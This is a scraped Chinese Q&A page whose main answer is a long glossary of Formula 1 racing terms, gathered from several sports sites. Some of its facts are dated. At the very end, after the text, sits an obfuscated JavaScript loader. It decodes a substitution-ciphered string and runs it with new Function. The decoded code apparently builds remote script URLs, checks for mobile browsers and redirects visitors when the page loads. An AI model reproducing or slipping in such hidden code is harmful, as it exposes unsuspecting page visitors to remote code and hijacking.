比赛中的F1术语

2024-12-03 14:40:15
推荐回答(2个)
回答1:

Parc fermé
车辆检查,在每个大奖赛周末,维修站中供FIA的技术专员对赛车进行检查的区域,以确保参赛车辆符合技术规则。

Penalties
处罚,对违法F1规则的车手执行的处罚可以从警告到终身竞赛。其他的处罚还包括罚款、暂停一两场比赛和扣除积分。如果车手在排位赛中违反运动精神,或者违反技术规则,赛事专员可以取消他的所以的排位成绩。

Petrol
燃油,只有超级无铅汽油才能用于F1,虽然它和能在普通加油站得到的98号无铅汽油在很大程度上是一样的,但是F1燃油中加入了添加剂,以确保更快和更好的燃烧。另外,它还比普通的商业汽油轻。每一支车队允许自由选择燃油供应商,他必须在赛季开始前向FIA提交使用的燃油样品,以供测试。

Pit lane
维修站通道,位于维修站的正前方,在比赛过程中,赛车进站将在这里完成。从2004年开始,维修站的限速从80公里提高到100公里/小时,这是为了给车队提供更具弹性的进站策略。但是在有些赛道维修站通道特别狭窄,像摩纳哥,进站速度被降低了。

Pit stop/refilling
进站加油,比赛过程中有规则的进站,一次进站/加油大约需要15到20个机械师同时协作完成。在加油时,机械师必须戴上头盔,身穿由NOMEX材料制成的防火服,标准的加油管和设计精良的注入阀门将确无保任何燃油泄漏。

Points system
积分系统,从2003年开始,每场比赛前八名的车手都有权获得积分,分别是10,8, 6, 5, 4, 3, 2,1。

Pole position
杆位,正赛时发车的第一个车位,它给予排位赛中最快的车手。

Pull-rod
拉杆,底盘的一部分,与悬挂装配的拉杆结构

Push-rod
推杆,底盘的一部分,与悬挂装配的压缩结构。

———————————————————————————————————————

Qualifying
排位赛,决定正赛发车位置的比赛制度,目前F1采用的是三阶段排位制。

———————————————————————————————————————

Race Commission
赛事委任,是FIA为每个比赛周末的委任。 赛事委任需要监控赛道上行为,同时确保安全规则制度严格执行。国家的赛事总监由该国的赛事权威机构任命,他必须拥有FIA的超级执照,并且负责在比赛中协调所有的官员,他同时需要和他的上级,FIA赛事总监合作。

Race director
赛事总监,FIA的赛事总监负责在比赛周末监督安全标准,并在必要的时候对其进行改善提高。 另外,他还决定在比赛中是否需要出动安全车,是否需要提前结束比赛。如果某位车手违反了体育精神或者威胁到其他车手的安全,赛事总监还有权对其执行处罚,当前FIA的赛事总监是查理-怀汀,来自英国

Race stop
比赛中止,如果极端的天气情况威胁到比赛的安全(例如大雨)、或者一辆出事的赛车将赛道堵死,赛会将出示红旗,表示比赛提前结束。

Racing line
比赛线路,也叫理想线路。这是一条假想的线路,车手如果沿着这条线路行驶,圈速将最快。由于在这条路线堆积着厚厚的橡胶,所以通常也是抓地力最好的线路。

Radar
雷达,使用雷达系统能够防止在低能见度下发生追尾,如果在某车手的正前方出现了赛车,雷达能够通过发射电子警告信号提醒后面的车手 。

Rear light
尾灯,用于减少追尾危险的安全设备。当赛车使用雨胎时,尾灯必须持续点亮。尾灯由30个发光二极管组成,尺寸不得小于6x6厘米,要求安装在距离车底参考面35厘米以上的位置。

Rear wing
尾翼,也叫后掠翼,主要为后轴创造下压力,尾翼的设置必须适应赛道,翼片越陡,下压力越大。尾翼的设置和表面的角度可以进行进一步改进,这种改进是赛车设置的一部分。

Refuelling
加注,在F1的比赛,只允许对燃油、氮气(永远轮胎)以及压缩空气进行再填充。

Regulations
规则,FIA的技术规则有两个主要目的,为了安全速度必须被控制,同时必须保持F1的生命——不断进步的技术。另外,安全还必须在出事的情况下得到保证。为了完成这个目标,以下的因素受到限制:引擎排量、燃油成分、轮胎尺寸、轮胎接地面积、最低重量和车身宽度。

Re-start
比赛结束前重新开始。

Roll-out
首航,指新赛车首次进行测试,一般是在排他的情况下秘密测试。

Roll-over bar
防滚架,用金属或者复合材料制成的,位于车手头部上方的弯曲支架;它能保证车手在翻车的情况下免受更大的伤害。自1999年费斯切拉在纽伯格林发生严重的事故后,防滚架便要求执行严格的撞击测试,以达到严格的安全标准。

Rubber build-up
胎印,轮胎表面发生的缓慢腐蚀,当轮胎在行驶的过程中,表面的橡胶会发生脱落,并在赛道上留下一层橡胶印记,并且会随着比赛的推进越积越厚。这层橡胶将提高赛车的抓地力,胎印形成的速度,与赛车的设置以及沥青路面的研磨度直接相关。

Run-off zone
缓冲区,缓冲区主要在高速弯道设置,它需要在不让赛车翻车的情况下,尽量将速度降下来,所以沙石缓冲区越宽越好,由于沙石降低了赛车的速度,因此也降低了赛车撞击轮胎墙的能量。而沥青缓冲区则旨在保留车手对赛车更多的控制能力。
http://sports.sina.com.cn/f1/technical_glossary6/

锦标积分成绩 (Championship points):F1赛事的评分由(FIA)国际汽车联盟依据每场赛程来评定,分为车手积分及车队积分两种。每场比赛的第一名得10分,第二名8分,第三名6分,第四名5分,第五名4分,第六名3分,第七名2分,第八名1分。

车身底盘 (Chassis):赛车(亦或是其他汽车)的基本架构,包括悬吊系统、钢圈轮胎、及其他各类车材的整合。一部现代化的F1赛车车身底盘是由碳纤维板所构成,非常的轻巧且强劲耐用。

减速弯角 (Chicane):在直线赛道上设置的连续弯角,用来降低车速。

赛车驾驶舱 (Cockpit):车身底盘或车体结构内赛车手坐的区域,是专为车手量身订做的(从1999年1月至今就被设计成可抽离的型式,方便在紧急情况时可直接将座位连同车手从赛车中脱离),车手在座位内仅可转头、手及脚。

制造厂商/车队 (Constructor):一级方程式的制造厂商是指车身底盘的制造者,在大部份的情况下是跟引擎制造商不同的。通常车身底盘的制造商名字都被放在引擎制造商的前面,在一级方程式锦标赛中,车队冠军的荣耀是颁给车身底盘的制造商。

乱流 (Dirty air):行驶过的车辆所产生的乱流,会让紧跟在后的车辆的气流被干扰,影响因空气动力学所产生的下压力,紧跟在后的赛车的操控将会受到影响,并可能因此打滑。

下压力 (Downforce):赛车的车身,车翼及悬吊系统会因为车辆高速行驶时空气流动产生下压力,随著速度的增加产生更多的下压力,车辆的抓地力也会提高。

大奖赛 (Grand Prix):F1一级方程式世界锦标赛,第一场赛车被命为“大奖赛”源自於1906年在法国所举办的汽车俱乐部大奖赛,它被限定为”大车子(big cars)”,也可被解释为那一段时期的“一级方程式”赛车。

排位 (Grid):决赛起跑的排列位置,按照排位赛的结果排列。赛车排列於两交错的行列,最前端的车子领先下一列的车子8米远的间隔。

发夹弯 (Hairpin):非常棘手,高难度的弯道,通常是180度的弯。

整备区 (Paddock):设在大奖赛赛道的起跑点附近,这是车队管理及休息区及运输车辆停放的地方。

维修区 (Pits):这是所有赛车的车库 (起初只是在路边的检修站,供技师检查赛车底部的地方。

光头胎 (Slicks):使用在乾燥路面上的没有胎纹的赛车轮胎.于1998年的赛季前被有直纹沟槽的轮胎给取代了,这些沟槽是用来降低车子过弯时的速度。

起跑排位 (Starting Grid):根据车手在排位赛的成绩来排定车手的起跑排位,此排位区是交错综横的。

风洞 (Wind Tunnel):风洞是用来量测气流对正在比赛中的赛车所造成的影响,通常风洞都会有不同的风速,然后经由精密的电子仪器量测出对车子的影响。

后勤维修人员 (Pit Crew):指所有在维修区负责车队的工程技师。

维修道 (Pit Lane):经由特殊设计过在维修站前通道。它是赛车进入或离开赛道的通道,维修道是在赛道上唯一有严格速度限制的地方,速度限制在时速80-120公里(即每小时50-74英哩),依不同的赛道而有不同的规定。

停站 (Pit Stop):赛程中预定的后勤为维修区,让车手加油及换轮胎的地方,进维修站的时机及次数是每个车队比赛的重要策略。

竿位 (Pole Position):在一级方程式赛车决赛起跑最前面的排位,依星期六下午的排位赛名次而定,以一圈最快成绩来定。

排位赛 (Qualifying):将分为两部分,分别在周五和周六进行,每部赛车只能做一圈排位。周五发车顺序按照前一站比赛成绩(首站按前一年世锦赛成绩),周六发车顺序按照周五的顺序,但慢车先排位,排位赛以周六的成绩为准,最快的赛车手起跑位置称为竿位。

赛车号码 (Race Number):在赛季之前FIA会根据前一年的车手排名,给予每一台F1赛车一个号码,且此号码必须很清楚地展示於车体的车鼻翼及两侧,高度至少要有25mm,而13这个号码并没有被使用。

安全车 (Safety Car):这是一台闪著黄色车灯的奔驰车且贴有”Safety Car”的标志,安全车之驾驶通当是有经验的选手,且装有与控制台连络的通讯系统。
http://www.niwota.com/submsg/6273417/ 路肩(Kerb)赛道边上通常是红白相间的突起的水泥路面,通常位于入弯和出弯处,保证赛车不会滑出赛道,并且当车手在弯道速度过快时提供一点缓冲区域。

Kph 公里每小时。

比赛记录表(Lap chart)车迷和车队成员记录F1比赛的特殊记录表格。这项记录表用来描述赛车位置的任何变化以及加油或退出比赛的圈数。

套圈(Lapped traffic)赛车不在领先圈内而且已经被领先者超出。

发车控制(Launch control)用来帮助车手发车的电子系统,从2004赛季开始之后禁止使用。只需简单地按下按钮,松手之后,赛车的计算机系统就会平衡离合器和转速,从而得到最佳的发车路线。

左脚制动(Left-foot braking)车手们使用左脚控制转弯的技术,而不像在普通汽车中一样使用右脚。尽管有些车手力争用右脚制动,但是许多车手认为左脚制动更为快速,因为空出的右脚可以确保引擎转速,从而保持车速。

指示员(Lollipop man)手持一个形似棒棒糖的碳素纤维棒的维修站成员。他的工作是在赛车进站期间把指示牌举在车手面前,直到他确定加油、换胎和其他改动已经完成。举起指示牌示意车手可以启动。

松弛(Loose)当转弯时赛车开始失去控制,车手对赛车的感觉是怎么样的?他会觉得赛车松弛,比如因为赛道上有油渍,赛车没有很好调试,或仅仅是因为过度驾驶的原因。

厂商车队(Manufacturer teams)由主要汽车制造商资助并(或)拥有的车队。

碎屑(Marbles)比赛中因为轮胎磨损而撒在赛道上的橡胶小球。如果赛车因故冲出赛道,轮胎滑过碎石区产生的碎屑将会在之后的数圈内粘在轮胎上,导致抓地性能下降,车手很可能回因此大伤脑筋。

停车标记(Marks)维修站人员用胶带粘成的白线,用来指示赛车进站时确切的停车位置。这些标志使换胎员和加油员能够在正确的地点做好准备,以节省宝贵的时间。

赛道裁判(Marshals)各站赛事的工作人员。他们会对发生的任何事故严加注意,并把赛车从危险地带运走。这些人通常与赛事总监保持直接联系。

惊险时刻(Moment)车手用来形容他们在赛道上遇到的令人惊心动魄的事情——无论是与其他赛车几乎相撞或者他们自己差一点出现事故。

单体横造(Monocoque)现代流行的一体车底盘,是构成赛车的核心部件。

汽车旅馆(Motorhome)在F1周末作为车队基地的现代设施。尽管过去曾是真正的房车,但现在只是定制的活动房屋,作为包厢或会议地点。

Mph 英里每小时。

诺梅克斯聚酰胺(Nomex)在车手全身服装和头套中使用的特殊防火材料,能够在火势汹涌的情况下提供大约12秒的保护,使赛道指挥或医务人员有充足的时间抵达出事地点。

一次移动规则(One move rule)规定车手被允许阻拦试图超过自己的对手的次数。前面的车手只被允许移动一次以保持领先。单次移动规则防止车手利用连续急转迂回前进的技术阻止后面的车手超车。

延迟制动(Out brake)当车手试图超车时,他会设法在入弯时稍稍推迟制动的时间,以便抢得车位。

走形(Out of shape)车手用来形容当赛车转弯或进入直道时不易控制的词语。这个词语表示F1赛车没有达到最佳驾驶的状态或没有处于最佳的比赛路线,并且需要一点帮助以回到正常的状况。

转向过度(Oversteer)转弯时赛车后部的滑动超过赛车前部,也就是说,赛车的转动大于方向盘的输入。

车队生活区(Paddock)通常紧挨在维修站车库后面的生活区域,用于放置车队的房车、运输设备和轮胎制造商的设施。车队生活区是周末赛道外活动的中心,包括举行记者招待会,招待赞助商以及商讨整个周末的秘密事项。

车队生活区通行证(Paddock pass)进入车队生活区需要的身份证明。车队生活区通行证是非卖品,只发给工作人员、车队、媒体和赞助商的客人。

车身图案(Paint scheme)车身上的彩色图案,通常大部分由车队赞助商决定。

维修站(Pits)车队在周末调试赛车的区域。车队的车库通常面对维修站通道,背对车队生活区。

指示牌(Pit board)车队在维修站通道和赛场之间的隔离墙上悬挂的牌子,用来告诉车手赛道上的情况。尽管车队使用无线电设备,但并不是万无一失的,于是这块指示牌便成为了确保车手与维修站之间有效沟通的后备措施。

维修站人员(Pit crew)在赛车进站时立即为赛车加油和换胎的车队工作人员。

维修站通道(Pit lane)在赛道内侧的一段独立路段,通常与发车线即终点线平行,引导车手驶向车库以便加油、换胎和维修。经过特殊设计的在维修站前的通道,是赛车从维修站进入赛道或离开赛道返回维修站的通道。维修道是有严格速度限制的路段,一般速度限制在80-120公里/时速( 即每小时50-74英哩),不同的赛道有不同的限速规定。例如摩纳哥由于赛道狭窄,维修通道的规定时速是60公里。

进站(Pit stop)赛车进入维修站通道加油、换胎或维修。

颁奖台(Podium)比赛结束后前三名车手立即被授予奖杯和香槟的地方。颁奖台分为三个不同高度的台阶,冠军站在中间最高的台阶上。

杆位 (Pole Position):杆位又称为P.P.是星期六下午排位赛取得的名次而定,以赛车所跑单圈最快的成绩来确定车手在决赛起跑时最前面的排头位。

推杆(Pushrod)悬挂系统的一部分,位于车轮和连接在赛车底盘上的弹簧/风门之间。当车轮被Y形骨架支撑上下移动时,推杆通过下压弹簧和风门,从而把负载转移到它们上面。推杆将车轮的物理运动传递给弹簧/风门。
http://sports.qq.com/a/20080312/000325.htm

回答2:

这只是习惯用语,这些奇怪的词也有这些意思而已

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();